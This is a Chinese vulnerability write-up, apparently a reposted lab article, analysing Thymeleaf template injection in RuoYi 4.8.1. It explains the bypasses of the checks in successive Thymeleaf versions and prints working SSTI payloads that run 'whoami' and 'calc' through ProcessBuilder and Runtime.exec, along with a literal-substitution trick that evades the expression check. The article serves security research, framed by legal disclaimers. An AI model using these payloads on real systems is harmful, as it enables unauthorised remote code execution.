文章总结: 文章详细分析了某依框架最新版本4.8.1中的Thymeleaf模板注入漏洞,展示了如何绕过Thymeleaf3.0.15版本的安全检测机制。作者通过字面量替换技术构造特殊payload,成功实现了远程代码执行攻击。文章提供了完整的技术分析和payload示例,同时强调了安全研究的合法性和道德边界。
综合评分: 85
文章分类: 漏洞分析,WEB安全,渗透测试
某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)
T3Ysec
以下文章来源于天禄网络安全实验室
,作者天禄实验室
天禄网络安全实验室
.
天禄实验室隶属于四川玄御科技有限公司,致力于尖端网络安全研究与实战化漏洞挖掘,致力于为客户提供可落地、高价值的安全解决方案。
免责声明
本文所涉及的技术、思路和工具仅供安全研究和教学使用。
- 严禁用于非法用途:请勿利用本文中的技术对未授权的目标进行扫描、攻击或测试。
- 法律责任:利用本文所提供的信息而造成的任何直接或间接后果和损失,均由使用者本人负责,本文作者不承担任何法律责任。
- 合规建议:请遵守《中华人民共和国网络安全法》、《中华人民共和国数据安全法》等相关法律法规。
回顾
在以往版本的ruoyi中, 曾爆出过ssti漏洞, 漏洞点如下
::是thymeleaf的片段选择器语法, 用来确定渲染模板中的哪一段内容 这里返回模板的片段选择器直接拼接了用户可控的fragment, 导致模板注入 但随着thymeleaf的更新, 该漏洞也就被修复了
Thymeleaf3.0.11版本及之前
我们可以使用类似以下payload来利用.
ounter(lineounter(lineounter(lineounter(lineounter(line__${#response.addHeader("x-cmd",new java.util.Scanner( new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk" ).useDelimiter("\\A").next())}__::.x
在进行模板渲染时, __ __ 包裹的内容是被预先执行的
Thymeleaf3.0.12版本
这个版本增加了安全策略, 增加了 SpringRequestUtils 和 SpringStandardExpressionUtils 两个类。 diff https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE…thymeleaf-spring5-3.0.12.RELEASE?diff=unified&w=
简单来说, 主要问题就是不允许 new``T()出现, 但我们依然可以使用类似以下payload绕过
ounter(line__${T (java.lang.Runtime).getRuntime().exec("calc")}__::
ounter(lineounter(lineounter(lineounter(lineounter(line__${#response.addHeader("x-cmd", nEw java.util.Scanner( New ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk" ).useDelimiter("\\A").next())}__::.x
新版本4.8.1 RCE(Thymeleaf3.0.15 绕过)
最新版本的ruoyi使用了Thymeleaf3.0.15
尝试之前的payload
ounter(line__${T (java.lang.Runtime).getRuntime().exec("calc")}__::
已经过不了checkViewNameNotInRequest的检测了
对比3.0.12 和3.0.15 https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.12.RELEASE…thymeleaf-spring5-3.0.15.RELEASE?diff=unified&w= 这个版本新增了containsExpression
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineprivate static boolean containsExpression(final String text) { final int textLen = text.length(); char c; boolean expInit = false; for (int i = 0; i < textLen; i++) { c = text.charAt(i); if (!expInit) { if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') { expInit = true; } } else { if (c == '{') { return true; } else if (!Character.isWhitespace(c)) { expInit = false; } } } return false; }
其对requestURI , paramValue做了检测, 检测到表达式后抛出错误 但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是 {: 如果是{则认为检测到了表达式, 如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式 问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了 那我们其实可用构造出这样的payload逃过检测
ounter(lineounter(line$任意字符{} $${}
显然$${}是可能被利用的, 但Thymeleaf并不允许执行这样的表达式
字面量替换 bypass
阅读其文档
|n4c1, ${…}|, 其中的表达式${...}可以被执行
因此可以构造:
ounter(line__|$${#response.addHeader("x-cmd","n4c1")}|__::.x
这样的payload实际上等价于
ounter(line__'$' + ${#response.addHeader("x-cmd","n4c1")}__
调试一下可以看见与我们的预期相同
但当我们尝试rce时其实是失败的, 这个版本把SpringStandardExpressionUtils中把之前的containsSpELInstantiationOrStatic换成了containsSpELInstantiationOrStaticOrParam, 并且对检查逻辑进行了加强, 不允许 T()``new xxx``T ()``param这样的表达式内容出现, 但我们依然可以利用类似于沙箱逃逸的方法来绕过 成功RCE
安全警示与法律合规
技术本身是中立的,但使用技术的人必须有底线。
- 切勿越界:本文介绍的漏洞复现和利用方法,仅限在自己搭建的本地靶场或经过授权的环境中进行测试。严禁对互联网上的真实目标进行扫描或攻击。
- 法律红线:根据《中华人民共和国刑法》第285条、第286条,非法侵入计算机信息系统、破坏计算机信息系统功能等行为均构成犯罪,将面临严厉的刑事处罚。
- 共同维护:网络安全是国家安全的一部分。作为安全从业者或爱好者,应致力于发现问题并协助修复,共同维护网络空间的和平与安全。
- 请时刻牢记:网络不是法外之地,行车不规范,亲人两行泪。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:T3Ysec 《某依最新版本稳定4.8.1 RCE (Thymeleaf模板注入绕过)》